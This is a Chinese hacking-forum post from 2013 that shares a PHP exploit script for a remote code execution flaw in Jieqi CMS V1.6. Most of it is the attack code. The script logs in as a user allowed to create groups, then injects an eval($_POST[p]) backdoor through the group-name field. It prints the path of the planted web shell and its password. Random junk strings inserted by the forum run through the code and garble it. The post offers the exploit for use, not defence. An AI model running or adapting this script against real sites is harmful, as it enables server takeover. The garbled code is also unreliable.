找回密码
 立即注册
查看: 2647|回复: 0
打印 上一主题 下一主题

Jieqi(杰奇)CMS V1.6 PHP代码执行0day漏洞EXP

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-23 11:28:09 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
杰奇网站管理系统(简称 JIEQI CMS,中国国家版权局著作权登记号:2006SR03382)是一套模块化的网站架设系统,具备简单灵活、性能卓越、安全可靠等特性。我们为大家提供了目前最流行的杰奇小说连载系统、杰奇原创漫画系统及数字出版解决方案,并提供各类网站定制服务。9 \: O* v6 y; K

+ U: [- F1 A) u  j# y% ?" C) \' k 9 I" z, i" w7 {8 d; L4 Y2 r+ }
该系统存在多个远程安全漏洞,今天报告的这个是1.6版本的一个远程代码执行漏洞,应该有2年多历史了。
4 A" ^1 H% C+ ?6 _: ~ 需要有一个能创建圈子的用户。
3 P- f$ _0 o0 m* Q& d! _; m. `* W( \ $ m* W2 |6 [( g5 F2 q4 C+ ~0 W8 F
<?php
! Z+ H6 P* N% E$ X* r2 A7 H
5 D- `! s2 F" r1 j0 Nprint_r('6 T! o( B1 ~8 Y& D* d4 D6 Z3 J( W
+---------------------------------------------------------------------------+
+ B7 O) O2 i) l& K. [% P" yJieqi CMS V1.6 PHP Code Injection Exploit- X' C+ g8 o% P
by flyh4t$ ]3 K% X" z: [0 z$ a: h7 Y
mail: phpsec at hotmail dot com4 `6 X  d5 u9 K' I+ J( E& N
team: http://www.wolvez.org
/ s) k7 S2 U* U# K5 t- O+---------------------------------------------------------------------------+
" r( O. \) [$ J, e* e% j'); /**# d0 k3 x. `9 u1 I, y
* works regardless of php.ini settings
$ V( r5 e0 b+ w! }*/ if ($argc < 5) { print_r('8 \5 N3 i# F0 [* E7 k8 i6 b( f
+---------------------------------------------------------------------------+6 D4 q  a0 Y% [+ s8 ]% {( Y
Usage: php '.$argv[0].' host path username8 j+ S9 G3 b( g: A# A- L) g( L
host:      target server (ip/hostname)# l# |% N( w9 x& q* ^# d
path:      path to jieqicms ) D. Q9 V0 N# I4 C' K
uasename:  a username who can create group
1 z3 N+ c+ p; R3 f: e6 }Example:
0 w; i8 r5 I  Q9 K: Zphp '.$argv[0].' localhost /jieqicmsv1.6/ vipuser1 password
2 t! z% B4 j5 W; r% i+---------------------------------------------------------------------------+2 r& b1 @& w, I
'); exit; } error_reporting(7); ini_set('max_execution_time', 0); $host = $argv[1]; $path = $argv[2]; $username = $argv[3]; $password = $argv[4]; /*get cookie*/ $cookie_jar_index = 'cookie.txt'; $url1 = "http://$host/$path/login.php"; $params = "password=$password&username=$username&usecookie=86400&submit=%26%23160%3B%B5%C7%26%23160%3B%26%23160%3B%C2%BC%26%23160%3B&action=login&jumpreferer=1"; $curl1 = curl_init(); curl_setopt($curl1, CURLOPT_URL, $url1); curl_setopt($curl1, CURLOPT_COOKIEJAR, $cookie_jar_index); curl_setopt($curl1, CURLOPT_POST, 1); curl_setopt($curl1, CURLOPT_POSTFIELDS, $params); ob_start(); $data1 = curl_exec($curl1); if ($data1 === FALSE) { echo "cURL Error: " . curl_error($ch); exit('exploit failed'); } curl_close($curl1); ob_clean(); /*get shell*/ $params ='-----------------------------232811682799611 i- p7 W5 c8 t$ v4 s- C
Content-Disposition: form-data; name="gname"
7 G) s, P6 s. M) G) O) v) | 3 W. |: C# H) x* L
'; $params .="';"; $params .='eval($_POST[p]);//flyh4t
- i. N- T6 ~) ^: b2 f& t, K& m-----------------------------23281168279961
: f, Y( r! I- e3 hContent-Disposition: form-data; name="gcatid"
( w' b. g) M. t+ ?. q  Q& u 9 |" h% D5 U: ~: c, O( [; L
1
' B2 q) g/ e# B-----------------------------23281168279961
3 P- g1 [: ^6 m$ U# W$ Z: k6 GContent-Disposition: form-data; name="gaudit"' ?/ ~! z( g" a

6 A& A3 b* K* G1, e  D% w- d# Q' c7 M' [
-----------------------------23281168279961, Q' X) v: I6 X/ |& H
Content-Disposition: form-data; name="gbrief"
4 G, M) X& p9 U" J, r5 V' ^ - |7 n  g3 |0 V. `
1# a5 e6 d, U9 m
-----------------------------23281168279961--
: E" ?( ~) M2 a* m. {' F# V'; $url2 = "http://$host/$path/modules/group/create.php"; $curl2 = curl_init(); $header =array( 'Content-Type: multipart/form-data; boundary=---------------------------23281168279961' ); curl_setopt($curl2, CURLOPT_URL, $url2); curl_setopt($curl2, CURLOPT_HTTPHEADER, $header); curl_setopt($curl2, CURLOPT_COOKIEFILE, $cookie_jar_index); curl_setopt($curl2, CURLOPT_POST, 1); curl_setopt($curl2, CURLOPT_POSTFIELDS, $params); ob_start(); curl_exec($curl2); curl_close($curl2); $resp = ob_get_contents(); //$rs就是返回的内容 ob_clean(); www.2cto.com
3 D' j! e- y3 _+ o. e1 a 5 M9 P3 C1 v/ r" Y
preg_match('/g=([0-9]{1,4})/', $resp, $shell); //print_r($shell); //print_r($resp); $url = "http://$host/$path/files/group/userdir/0/$shell[1]/info.php"; echo "view you shell here(password:p)\r\n" ; echo $url;
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表